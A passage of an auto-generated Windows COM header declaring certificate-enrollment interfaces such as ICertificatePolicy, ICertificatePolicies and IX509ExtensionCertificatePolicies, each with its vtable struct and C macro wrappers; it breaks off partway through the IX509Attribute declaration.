[annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertificatePolicy * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in ICertificatePolicy * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PolicyQualifiers )( \n            __RPC__in ICertificatePolicy * This,\n            /* [retval][out] */ __RPC__deref_out_opt IPolicyQualifiers **ppValue);\n        \n        END_INTERFACE\n    } ICertificatePolicyVtbl;\n\n    interface ICertificatePolicy\n    {\n        CONST_VTBL struct ICertificatePolicyVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertificatePolicy_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertificatePolicy_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertificatePolicy_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertificatePolicy_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertificatePolicy_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertificatePolicy_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertificatePolicy_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertificatePolicy_Initialize(This,pValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pValue) ) \n\n#define ICertificatePolicy_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define ICertificatePolicy_get_PolicyQualifiers(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PolicyQualifiers(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertificatePolicy_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertificatePolicies_INTERFACE_DEFINED__\n#define __ICertificatePolicies_INTERFACE_DEFINED__\n\n/* interface ICertificatePolicies */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertificatePolicies;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab31f-217d-11da-b2a4-000e7bbb2b09\")\n    ICertificatePolicies : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificatePolicy **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ICertificatePolicy *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertificatePoliciesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertificatePolicies * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertificatePolicies * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertificatePolicies * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertificatePolicies * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertificatePolicies * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertificatePolicies * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertificatePolicies * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ICertificatePolicies * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificatePolicy **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ICertificatePolicies * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ICertificatePolicies * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ICertificatePolicies * This,\n            /* [in] */ __RPC__in_opt ICertificatePolicy *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ICertificatePolicies * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ICertificatePolicies * This);\n        \n        END_INTERFACE\n    } ICertificatePoliciesVtbl;\n\n    interface ICertificatePolicies\n    {\n        CONST_VTBL struct ICertificatePoliciesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertificatePolicies_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertificatePolicies_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertificatePolicies_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertificatePolicies_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertificatePolicies_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertificatePolicies_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertificatePolicies_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertificatePolicies_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ICertificatePolicies_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ICertificatePolicies_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ICertificatePolicies_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ICertificatePolicies_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ICertificatePolicies_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertificatePolicies_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionCertificatePolicies_INTERFACE_DEFINED__\n#define __IX509ExtensionCertificatePolicies_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionCertificatePolicies */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionCertificatePolicies;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab320-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionCertificatePolicies : public IX509Extension\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt ICertificatePolicies *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Policies( \n            /* [retval][out] */ __RPC__deref_out_opt ICertificatePolicies **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionCertificatePoliciesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionCertificatePolicies * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionCertificatePolicies * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionCertificatePolicies * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ __RPC__in_opt ICertificatePolicies *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Policies )( \n            __RPC__in IX509ExtensionCertificatePolicies * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificatePolicies **ppValue);\n        \n        END_INTERFACE\n    } IX509ExtensionCertificatePoliciesVtbl;\n\n    interface IX509ExtensionCertificatePolicies\n    {\n        CONST_VTBL struct IX509ExtensionCertificatePoliciesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionCertificatePolicies_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionCertificatePolicies_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionCertificatePolicies_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionCertificatePolicies_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionCertificatePolicies_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionCertificatePolicies_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionCertificatePolicies_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionCertificatePolicies_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionCertificatePolicies_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionCertificatePolicies_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionCertificatePolicies_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionCertificatePolicies_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionCertificatePolicies_InitializeEncode(This,pValue)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pValue) ) \n\n#define IX509ExtensionCertificatePolicies_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionCertificatePolicies_get_Policies(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Policies(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionCertificatePolicies_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionMSApplicationPolicies_INTERFACE_DEFINED__\n#define __IX509ExtensionMSApplicationPolicies_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionMSApplicationPolicies */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionMSApplicationPolicies;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab321-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionMSApplicationPolicies : public IX509Extension\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt ICertificatePolicies *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Policies( \n            /* [retval][out] */ __RPC__deref_out_opt ICertificatePolicies **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionMSApplicationPoliciesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionMSApplicationPolicies * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ __RPC__in_opt ICertificatePolicies *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Policies )( \n            __RPC__in IX509ExtensionMSApplicationPolicies * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificatePolicies **ppValue);\n        \n        END_INTERFACE\n    } IX509ExtensionMSApplicationPoliciesVtbl;\n\n    interface IX509ExtensionMSApplicationPolicies\n    {\n        CONST_VTBL struct IX509ExtensionMSApplicationPoliciesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionMSApplicationPolicies_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionMSApplicationPolicies_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionMSApplicationPolicies_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionMSApplicationPolicies_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionMSApplicationPolicies_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionMSApplicationPolicies_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionMSApplicationPolicies_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionMSApplicationPolicies_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionMSApplicationPolicies_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionMSApplicationPolicies_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionMSApplicationPolicies_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionMSApplicationPolicies_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionMSApplicationPolicies_InitializeEncode(This,pValue)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pValue) ) \n\n#define IX509ExtensionMSApplicationPolicies_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionMSApplicationPolicies_get_Policies(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Policies(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionMSApplicationPolicies_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509Attribute_INTERFACE_DEFINED__\n#define __IX509Attribute_INTERFACE_DEFINED__\n\n/* interface IX509Attribute */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509Attribute;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab322-217d-11da-b2a4-000e7bbb2b09\")\n    IX509Attribute : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawData( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509Attribute * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509Attribute * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509Attribute * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509Attribute * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509Attribute * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509Attribute * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509Attribute * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509Attribute * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509Attribute * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509Attribute * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509AttributeVtbl;\n\n    interface IX509Attribute\n    {\n        CONST_VTBL struct 